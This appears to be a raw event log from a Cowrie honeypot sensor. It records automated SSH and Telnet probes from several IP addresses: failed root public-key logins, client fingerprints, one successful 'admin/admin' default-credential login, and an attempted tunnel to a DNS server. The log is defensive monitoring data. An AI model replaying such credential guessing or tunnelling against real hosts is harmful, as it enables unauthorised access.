{"eventid":"cowrie.login.failed","username":"root","fingerprint":"23:ba:e1:38:8f:fe:25:b3:91:4b:53:95:70:aa:63:4c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAySdQHGBgGK2hU5s9tASthOgKNIhmq0CmlcSt+e/JMp0isMylU8qY7CW4bWRigKN+Azk8wU+MTbxMuy6NPrzaNYohIpd+hHqUiYMCeSiDsbN/E97tZlRvwCNQuMtUmqIaR5WRvHJL6qt9qMyJGhIkaftlOR2fFJONbI+nJRstk2eCQTfKN6rZkD2g4NXQKobDbGhRJowvARH5xUM+mkEFHnwilnIchNrxC3OSGCQBpiAYAG8WL+0ORV3pF9lCa5R5lUH1WgEMvTO4kb8L8ib/7yjDZZyUt1P3nEUDpXlPSs4Q981gVMRNtjD5LLSueGE0O2eh+f+RqPqIo4R3o507pQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.224883Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"97:49:73:71:97:95:1a:28:f8:79:02:39:f0:02:41:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU9sOIaaxljj9GbEPrfoUP2E4/oglGbiP4S6PX+S7Y51dloImxC9P1ecMj6FXzijvPZgURDhAO2s7sQTvCcX53uPK7urLE6duQANG9axj+lt+QaaBWfhQwWEN/G7/SVhFQVy5JXnH+pb70zNgST8Pr7bazTaD1D5xiSVpBLz3ibxyPz4X6RsSg1Zd7A6oJe1PF1VeLN9arWorVOgpb+4W6XowUSTN20CRKlQTXFAB0KKSuKJMQkUee6pR5Ei1XN4iYWR1/RxySu8LmeH732nQbvwrUzqyPZClJKBW9gBBCNBVXZBgXLnqFfgGy2CCYACiOWZQ0/c2pIW4nEcuPEzcn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 97:49:73:71:97:95:1a:28:f8:79:02:39:f0:02:41:8a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.254866Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"97:49:73:71:97:95:1a:28:f8:79:02:39:f0:02:41:8a","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCU9sOIaaxljj9GbEPrfoUP2E4/oglGbiP4S6PX+S7Y51dloImxC9P1ecMj6FXzijvPZgURDhAO2s7sQTvCcX53uPK7urLE6duQANG9axj+lt+QaaBWfhQwWEN/G7/SVhFQVy5JXnH+pb70zNgST8Pr7bazTaD1D5xiSVpBLz3ibxyPz4X6RsSg1Zd7A6oJe1PF1VeLN9arWorVOgpb+4W6XowUSTN20CRKlQTXFAB0KKSuKJMQkUee6pR5Ei1XN4iYWR1/RxySu8LmeH732nQbvwrUzqyPZClJKBW9gBBCNBVXZBgXLnqFfgGy2CCYACiOWZQ0/c2pIW4nEcuPEzcn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.259057Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:84:54:29:55:bb:ef:ae:33:85:66:00:7e:79:f3:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwxfF9DBS6Xo0b046yY5F2Tu03nyyjOYeWCS4nPzNlyLZ3Vru0SSXIlXQ/wal/GYFMz5HeKH/LO7wrtsibcIo5ZGrJf8d6fN6qxLsGDi/6qkcTBRkIfFE96A7yCp88Pu7RJZupJuJoMA+KJTtMFyouqYpOYLQQw1NrsYh2G5mD/3C6zBVP72vyL/72L7SqB31fjXF3EjsR9E+17PnJ/yZNetW5UffknT8I6pOsNmH8+L/jijq/SrJqEX+zr0GcTT+9O3Ja5GmnhCJKenW9pXZWLRQG4b+2R+flrUJSmE06MzgYpdRgTEdFyMExwzGnVSxvxvpDDJq/Ub3Jn6ezdF3Bw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:84:54:29:55:bb:ef:ae:33:85:66:00:7e:79:f3:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.289410Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:84:54:29:55:bb:ef:ae:33:85:66:00:7e:79:f3:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwxfF9DBS6Xo0b046yY5F2Tu03nyyjOYeWCS4nPzNlyLZ3Vru0SSXIlXQ/wal/GYFMz5HeKH/LO7wrtsibcIo5ZGrJf8d6fN6qxLsGDi/6qkcTBRkIfFE96A7yCp88Pu7RJZupJuJoMA+KJTtMFyouqYpOYLQQw1NrsYh2G5mD/3C6zBVP72vyL/72L7SqB31fjXF3EjsR9E+17PnJ/yZNetW5UffknT8I6pOsNmH8+L/jijq/SrJqEX+zr0GcTT+9O3Ja5GmnhCJKenW9pXZWLRQG4b+2R+flrUJSmE06MzgYpdRgTEdFyMExwzGnVSxvxvpDDJq/Ub3Jn6ezdF3Bw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.293565Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3b:0d:06:b1:9e:af:80:b5:4a:fa:cd:8c:7d:8a:5e:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5da+JtgVRcPSATPaslsEGpf6OqFhvmzLdOIemobGAO+52WY2TqTXAfSoE7LCtkQaeMb1vc592g+FlWvyWRSvAgsG0sJ02qBbu4HVDzNGZeBx5eoqFPWTCbGhpRrQzn3PPOdGhfExKzu6KD3LpNI873PS3JuoQ+XbVxOKmecR+vzOYES1Mh1sR5HgeEMrEKxqbjLhtalgLGZ70opejDm/6xCs+9nWh6KwuZVhYXNdS0V61NaP2RL0+yyKmHXeVFR1Gw96e5o57MXI4wUDQW+xYmuPmBswyfyJwKRPiFXEBnyqdx+15a0ZajRcbd7seukyLxtvfu4/ip2bZeQQ3lfXcQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3b:0d:06:b1:9e:af:80:b5:4a:fa:cd:8c:7d:8a:5e:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.322043Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3b:0d:06:b1:9e:af:80:b5:4a:fa:cd:8c:7d:8a:5e:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA5da+JtgVRcPSATPaslsEGpf6OqFhvmzLdOIemobGAO+52WY2TqTXAfSoE7LCtkQaeMb1vc592g+FlWvyWRSvAgsG0sJ02qBbu4HVDzNGZeBx5eoqFPWTCbGhpRrQzn3PPOdGhfExKzu6KD3LpNI873PS3JuoQ+XbVxOKmecR+vzOYES1Mh1sR5HgeEMrEKxqbjLhtalgLGZ70opejDm/6xCs+9nWh6KwuZVhYXNdS0V61NaP2RL0+yyKmHXeVFR1Gw96e5o57MXI4wUDQW+xYmuPmBswyfyJwKRPiFXEBnyqdx+15a0ZajRcbd7seukyLxtvfu4/ip2bZeQQ3lfXcQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.327285Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"67:ae:ce:76:98:65:33:e6:20:15:2e:44:92:d3:87:1b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALU+6CRgT4GkMAtAObY4C5kGKBBPl8RY2XMFd3qrz4T/7058UWMHW2NJEJQpqjIuTHqpegPnZjVuZlaVdfIl8DOvLvjUlxkLnT6brwKkaLcqPFLgRKh5S+ybUsyclabfQ8/PJ83LAV+ImKmp9K9/W9nEhY6um74glIuISEG5auslAAAAFQDE2MwJdQtTZO1wskUBugyE8T7cPQAAAIA+2V/39ewyi8OT28lWmFsITMGTpkKTLX8wGjX/felPqB0vdLbPqyP2seqYHyuviAKlXj/qtvjLhzEZmP3Jq4ySv7jTVLSXpBcyF2FMFqhzBPWJv9dDzbNdEojp5QkyvO5UbFCqaprjQbtmmdBdX6yfnL0ax5Nvg9AKMbqpGXBs7QAAAIAnFh1DkQJm7zVP0q/42GjsPwe3nMJDevGDX2pGY8mxclALL3ThRdfub0bS7bVs+1VrhtvotY6S90+3PwXbIrQ6oZlcqdqK6cgHFs7/ycNQ/wab/CQIo06yFS7SgQFikzdPOBripcvGkUzC/qZz4FXs3iynlu2uktBHG1scJESLBQ==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 67:ae:ce:76:98:65:33:e6:20:15:2e:44:92:d3:87:1b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.358602Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"67:ae:ce:76:98:65:33:e6:20:15:2e:44:92:d3:87:1b","key":"ssh-dss AAAAB3NzaC1kc3MAAACBALU+6CRgT4GkMAtAObY4C5kGKBBPl8RY2XMFd3qrz4T/7058UWMHW2NJEJQpqjIuTHqpegPnZjVuZlaVdfIl8DOvLvjUlxkLnT6brwKkaLcqPFLgRKh5S+ybUsyclabfQ8/PJ83LAV+ImKmp9K9/W9nEhY6um74glIuISEG5auslAAAAFQDE2MwJdQtTZO1wskUBugyE8T7cPQAAAIA+2V/39ewyi8OT28lWmFsITMGTpkKTLX8wGjX/felPqB0vdLbPqyP2seqYHyuviAKlXj/qtvjLhzEZmP3Jq4ySv7jTVLSXpBcyF2FMFqhzBPWJv9dDzbNdEojp5QkyvO5UbFCqaprjQbtmmdBdX6yfnL0ax5Nvg9AKMbqpGXBs7QAAAIAnFh1DkQJm7zVP0q/42GjsPwe3nMJDevGDX2pGY8mxclALL3ThRdfub0bS7bVs+1VrhtvotY6S90+3PwXbIrQ6oZlcqdqK6cgHFs7/ycNQ/wab/CQIo06yFS7SgQFikzdPOBripcvGkUzC/qZz4FXs3iynlu2uktBHG1scJESLBQ==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.362988Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:11.393252Z","src_ip":"154.16.115.163","session":"4919eb55ad60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00265550613403,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:26.733359Z","src_ip":"45.181.139.217","session":"654f55d39091","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:27.341233Z","src_ip":"8.218.166.49","session":"bae91389c105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.181.139.217","src_port":65323,"dst_ip":"10.17.0.5","dst_port":23,"session":"31f795a72d51","protocol":"telnet","message":"New connection: 45.181.139.217:65323 (10.17.0.5:23) [session: 31f795a72d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:27.411745Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:28.171764Z","src_ip":"8.218.166.49","session":"bae91389c105","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:37.419882Z","src_ip":"8.218.166.49","session":"82ab033d3f99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:51.090529Z","src_ip":"8.218.166.49","session":"dde5db99eb4e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":42582,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c27a9a152b7","protocol":"ssh","message":"New connection: 87.251.64.176:42582 (10.17.0.5:22) [session: 1c27a9a152b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:57.229419Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:57.234164Z","src_ip":"87.251.64.176","session":"1c27a9a152b7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:57.330106Z","src_ip":"87.251.64.176","session":"1c27a9a152b7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:57.620811Z","src_ip":"87.251.64.176","session":"1c27a9a152b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:57.725807Z","session":"1c27a9a152b7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:57.826582Z","src_ip":"87.251.64.176","session":"1c27a9a152b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:57.925390Z","src_ip":"87.251.64.176","session":"1c27a9a152b7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:57:58.185847Z","src_ip":"8.218.166.49","session":"a926fb1e122d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:04.925601Z","src_ip":"8.218.166.49","session":"bae91389c105","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.237.79.243","src_port":58330,"dst_ip":"10.17.0.5","dst_port":22,"session":"d90641b7874b","protocol":"ssh","message":"New connection: 151.237.79.243:58330 (10.17.0.5:22) [session: d90641b7874b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:06.211534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:06.217295Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:06.345141Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"d6:72:d2:62:0c:21:12:76:65:4d:1f:12:12:5e:aa:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQDY3qLBIK6WxOoQ3kfFkmpbv8fHzqtLqdEKjbu2IdcJLx7A0Txv8UOWp7ZZ2N2H6650tnd9Rqk7La5oqJjZ36VOk8hZiqVoTHs/NQNiR1UpqUCWmaRVbd1ARODyej0XZxm3znE/WUsBT6l7CYO3OcubwmNHKC7Dvk62CeNLObXAWA2+r6133wc5hML967Fu4QNaRytZfur9DuYrR33cQ7f39M5ypTcGvbXxjnX+Bh0A4N8ECccP845og6z4/6fRHpc4iWBDIMbRbwSoZ0PfJwMWF0kZ+RSoJ8CzeUq9XEhzZtKekNfhW8EeL9n1y8l4i/eAFNVuFWNXhmigbHV8bh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint d6:72:d2:62:0c:21:12:76:65:4d:1f:12:12:5e:aa:37","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:06.935425Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"d6:72:d2:62:0c:21:12:76:65:4d:1f:12:12:5e:aa:37","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQDY3qLBIK6WxOoQ3kfFkmpbv8fHzqtLqdEKjbu2IdcJLx7A0Txv8UOWp7ZZ2N2H6650tnd9Rqk7La5oqJjZ36VOk8hZiqVoTHs/NQNiR1UpqUCWmaRVbd1ARODyej0XZxm3znE/WUsBT6l7CYO3OcubwmNHKC7Dvk62CeNLObXAWA2+r6133wc5hML967Fu4QNaRytZfur9DuYrR33cQ7f39M5ypTcGvbXxjnX+Bh0A4N8ECccP845og6z4/6fRHpc4iWBDIMbRbwSoZ0PfJwMWF0kZ+RSoJ8CzeUq9XEhzZtKekNfhW8EeL9n1y8l4i/eAFNVuFWNXhmigbHV8bh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:06.939468Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b3:62:45:5a:34:1d:a6:4a:26:d4:60:3b:79:77:84:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwge9y2fQFLpIXLyPmtVxGg8XjEocp1pjUYW4pBjyf2WIcmx0SK9EfCqHNMgVq88eL3VyRP2CUa5HvbcqnyJ/6nm25ORPMSnAxck3mcO3m0aGzlINdYxTYnZxE8YAoUL3/m6C8wadReLt+hv9WbwEkvKoKLhmyPSVX4Dc0OwkxLmMBbTJcMMR+r0mHwly3yRa/o5AqHO4KT0vSOYqEgXeG3ROEL3EBXkFCnk0pmcMqTZXmtfk01rwZBkgdb3qcywjM38Jdcovs2tfwxb1RX9wkA7bvF68e7YRgcembGc34Gp9WPpksF14MdH01/nJWApwewAd3IyNXBhTVFBC9faavQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b3:62:45:5a:34:1d:a6:4a:26:d4:60:3b:79:77:84:2b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.066248Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b3:62:45:5a:34:1d:a6:4a:26:d4:60:3b:79:77:84:2b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwge9y2fQFLpIXLyPmtVxGg8XjEocp1pjUYW4pBjyf2WIcmx0SK9EfCqHNMgVq88eL3VyRP2CUa5HvbcqnyJ/6nm25ORPMSnAxck3mcO3m0aGzlINdYxTYnZxE8YAoUL3/m6C8wadReLt+hv9WbwEkvKoKLhmyPSVX4Dc0OwkxLmMBbTJcMMR+r0mHwly3yRa/o5AqHO4KT0vSOYqEgXeG3ROEL3EBXkFCnk0pmcMqTZXmtfk01rwZBkgdb3qcywjM38Jdcovs2tfwxb1RX9wkA7bvF68e7YRgcembGc34Gp9WPpksF14MdH01/nJWApwewAd3IyNXBhTVFBC9faavQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:58:07.070001Z","src_ip":"151.237.79.243","session":"d90641b7874b","protocol":"ssh"}
